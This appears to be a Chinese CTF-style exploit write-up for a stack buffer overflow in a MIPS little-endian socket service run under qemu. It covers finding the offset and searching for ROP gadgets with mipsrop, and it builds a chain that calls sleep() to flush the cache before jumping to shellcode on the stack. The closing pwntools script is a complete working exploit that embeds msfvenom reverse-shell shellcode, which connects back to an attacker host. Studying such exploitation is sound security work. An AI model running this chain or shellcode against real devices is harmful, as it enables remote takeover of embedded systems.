前言:
摸了2天🐟把这个看了一下,第一天本来能够出的,结果找的gadget卡在sw语句不执行了,gdb爆warning can't find the start of the function at xxx
,网络上说是无法访问共享库的问题😓;
第二天重新找了几个gadget结果最后又出现同样的问题,最后又重新找了几个gadget尽可能简化了操作数才打通
概述:
本题溢出点存在于sprintf
函数拼接变量v10
长度超过v11
缓冲区大小,可以导致v11
栈溢出
本题数据传输通过socket,bash脚本指定端口初始化如下
#! /bin/bash
cp $(which qemu-mipsel-static) ./q
./q -L ./ -g 1234 ./socket_bof "9999"
最开始我们gdb-multiarch remote到1234端口后在程序建立监听的函数后下断点c过去,然后使用cyclic脚本测算偏移,脚本如下:
from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)
io=remote("127.0.0.1",9999)
io.recvuntil(b"Send Me Bytes:")
payload=cyclic(0x300)
io.sendline(payload)
io.interactive()
可以测出偏移为51
然后我们就可以着手exp的编写
为了绕过MIPS架构的缓存不一致性,我们需要主动调用sleep()
来使写入的shellcode从D-Cache
刷新到I-Cache
,所以exp编写流程与前文不同
大致流程:
1.确保能溢出到$ra
2.寻找gadget将$a0值设为1,即sleep的参数
3.寻找gadget执行libc中的sleep并能够返回到下一个gadget
4.寻找gadget将包含shellcode的栈地址储存到寄存器中
5.寻找gadget将寄存器值赋值到跳转语句寄存器上跳转到栈上的正确位置执行shellcode
gadgets查找:
首先是找给$a0
寄存器赋值为1的
Found 45 matching gadgets
Python>mipsrop.find("li $a0,1")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00018AA8 | li $a0,1 | jalr $s3 |
| 0x0002FB10 | li $a0,1 | jalr $s1 |
| 0x00012D3C | li $a0,1 | jr 0x20+var_s0($sp) |
| 0x00022420 | li $a0,1 | jr 0x18+var_s8($sp) |
| 0x0002A9C8 | li $a0,1 | jr 0x18+var_s4($sp) |
----------------------------------------------------------------------------------------------------------------
Found 5 matching gadgets
这里我们采用偏移为0x2FB10的gadget0
.text:0002FB10 01 00 04 24 li $a0, 1
.text:0002FB14 21 C8 20 02 move $t9, $s1
.text:0002FB18 09 F8 20 03 jalr $t9 ; sub_2F818
我们需要找到一个能够对$s1
赋值的gadget1,查找
Python>mipsrop.find("lw $s1")
可以找到0x7730处的gadget1,并且这里还可以控制一些其它寄存器
.text:00007730 28 00 BF 8F lw $ra, 0x18+var_s10($sp)
.text:00007734 24 00 B3 8F lw $s3, 0x18+var_sC($sp)
.text:00007738 20 00 B2 8F lw $s2, 0x18+var_s8($sp)
.text:0000773C 1C 00 B1 8F lw $s1, 0x18+var_s4($sp)
.text:00007740 18 00 B0 8F lw $s0, 0x18+var_s0($sp)
.text:00007744 08 00 E0 03 jr $ra
到此处位置,我们需要在执行完sleep
后继续执行shellcode的话,需要一个利用$ra
除外寄存器跳转的并且可以写$ra
的gadget2,继续查找
Python>mipsrop.tail()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0001E03C | move $t9,$s1 | jr $s1 |
| 0x0001F07C | move $t9,$a1 | jr $a1 |
| 0x0001F2C0 | move $t9,$s0 | jr $s0 |
| 0x0001FBCC | move $t9,$a1 | jr $a1 |
| 0x000201F4 | move $t9,$s0 | jr $s0 |
| 0x00020F1C | move $t9,$s2 | jr $s2 |
| 0x00020FE4 | move $t9,$s2 | jr $s2 |
| 0x00021200 | move $t9,$s2 | jr $s2 |
| 0x00021C34 | move $t9,$s3 | jr $s3 |
| 0x00022E94 | move $t9,$s1 | jr $s1 |
| 0x0002313C | move $t9,$s0 | jr $s0 |
| 0x000267B4 | move $t9,$s0 | jr $s0 |
| 0x00033AF4 | move $t9,$s0 | jr $s0 |
----------------------------------------------------------------------------------------------------------------
Found 13 matching gadgets
我们使用偏移0x20F1C处的gadget2,不仅能够给$ra
寄存器赋值,也能用gadget1控制$s2
值进行跳转
.text:00020F1C 21 C8 40 02 move $t9, $s2
.text:00020F20 24 00 BF 8F lw $ra, 0x18+var_sC($sp)
.text:00020F24 20 00 B2 8F lw $s2, 0x18+var_s8($sp)
.text:00020F28 1C 00 B1 8F lw $s1, 0x18+var_s4($sp)
.text:00020F2C 18 00 B0 8F lw $s0, 0x18+var_s0($sp)
.text:00020F30 08 00 20 03 jr $t9
我们可以通过jr $t9
跳转到sleep
函数中,我们只需要通过gadget2控制$ra
为shellcode的栈地址即可,我们可以通过mipsrop.stackfinder()
查找,这个指令是查找将栈地址存入寄存器的gadget,找到偏移0x16DD0处的gadget3
.text:00016DD0 18 00 A4 27 addiu $a0, $sp, 0x38+var_20
.text:00016DD4 21 C8 00 02 move $t9, $s0
.text:00016DD8 09 F8 20 03 jalr $t9
此处通过控制$s0
进一步控制$t9
,而$s0
我们在gadget2中即可控制,那么我们要跳转到shellcode所在栈地址上,则需要将$a0
值存入$t9
,所以我们这里控制$s0
的值为下一个gadget4,查找
Python>mipsrop.find("move $t9,$a0")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000214A0 | move $t9,$a0 | jalr $a0 |
----------------------------------------------------------------------------------------------------------------
Found 1 matching gadgets
偏移0x214A0处的gadget4满足我们的需求
.text:000214A0 21 C8 80 00 move $t9, $a0
.text:000214A4 18 00 A2 AF sw $v0, 0x30+var_18($sp)
.text:000214A8 09 F8 20 03 jalr $t9
所以到目前为止我们梳理一遍思路,可以得出下面的大致流程:
gadget1->gadget0-gadget2->sleep()->gadget3->gadget4->shellcode
可以根据这个流程大致写出payload然后gdb调试
在本机上运行的时候,发现在gadget2上填充padding的时候,需要额外填充0x4字节的数据才能正常给对应寄存器赋值
msfvenom生成shellcode的时候注意指定LHOST
和LPORT
exp:
from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)
io=remote("127.0.0.1",9999)
libc_base=0x3fecd000
sleep_func=0x2f2b0+libc_base
# msfvenom -p linux/mipsle/shell_reverse_tcp --arch mipsle --platform linux -f py --bad-chars '\x00'
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21"
buf += b"\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24"
buf += b"\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f"
buf += b"\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf"
buf += b"\x11\x5c\x0e\x3c\x11\x5c\xce\x35\xe4\xff\xae\xaf"
buf += b"\xf7\x83\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf"
buf += b"\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01"
buf += b"\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24"
buf += b"\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02"
buf += b"\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24"
buf += b"\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"
buf += b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf"
buf += b"\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf"
buf += b"\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24"
buf += b"\x0c\x01\x01\x01"
shellcode=buf
gadget0=0x2FB10+libc_base
# .text:0002FB10 01 00 04 24 li $a0, 1
# .text:0002FB14 21 C8 20 02 move $t9, $s1
# .text:0002FB18 09 F8 20 03 jalr $t9 ; sub_2F818
gadget1=0x7730+libc_base
# .text:00007730 28 00 BF 8F lw $ra, 0x18+var_s10($sp)
# .text:00007734 24 00 B3 8F lw $s3, 0x18+var_sC($sp)
# .text:00007738 20 00 B2 8F lw $s2, 0x18+var_s8($sp)
# .text:0000773C 1C 00 B1 8F lw $s1, 0x18+var_s4($sp)
# .text:00007740 18 00 B0 8F lw $s0, 0x18+var_s0($sp)
# .text:00007744 08 00 E0 03 jr $ra
gadget2=0x20F1C+libc_base
# .text:00020F1C 21 C8 40 02 move $t9, $s2
# .text:00020F20 24 00 BF 8F lw $ra, 0x18+var_sC($sp)
# .text:00020F24 20 00 B2 8F lw $s2, 0x18+var_s8($sp)
# .text:00020F28 1C 00 B1 8F lw $s1, 0x18+var_s4($sp)
# .text:00020F2C 18 00 B0 8F lw $s0, 0x18+var_s0($sp)
# .text:00020F30 08 00 20 03 jr $t9
gadget3=0x16DD0+libc_base
# .text:00016DD0 18 00 A4 27 addiu $a0, $sp, 0x38+var_20
# .text:00016DD4 21 C8 00 02 move $t9, $s0
# .text:00016DD8 09 F8 20 03 jalr $t9
gadget4=0x214A0+libc_base
# .text:000214A0 21 C8 80 00 move $t9, $a0
# .text:000214A4 18 00 A2 AF sw $v0, 0x30+var_18($sp)
# .text:000214A8 09 F8 20 03 jalr $t9
#stack for gadget1
payload=b"a"*51 #padding
payload+=p32(gadget1) # $ra0->gadget1
payload+=b"a"*0x18 #padding
payload+=b"aaaa" # $s0
payload+=p32(gadget2) # $s1->gadget2
payload+=p32(sleep_func) # $s2->sleep_func
payload+=b"aaaa" #padding
payload+=p32(gadget0) # $ra1->gadget0
#stack for gadget2
payload+=b"a"*0x1c #padding
payload+=p32(gadget4) # $s0->gadget
payload+=b"aaaa"*2 #padding
payload+=p32(gadget3) # $ra2->gadget3
# gadget1->gadget0->gadget2->sleep(1)->gadget3->gadget4
#stack for shellcode
payload+=b"a"*0x18
payload+=shellcode
io.recvuntil(b"Send Me Bytes:")
io.sendline(payload)
io.interactive()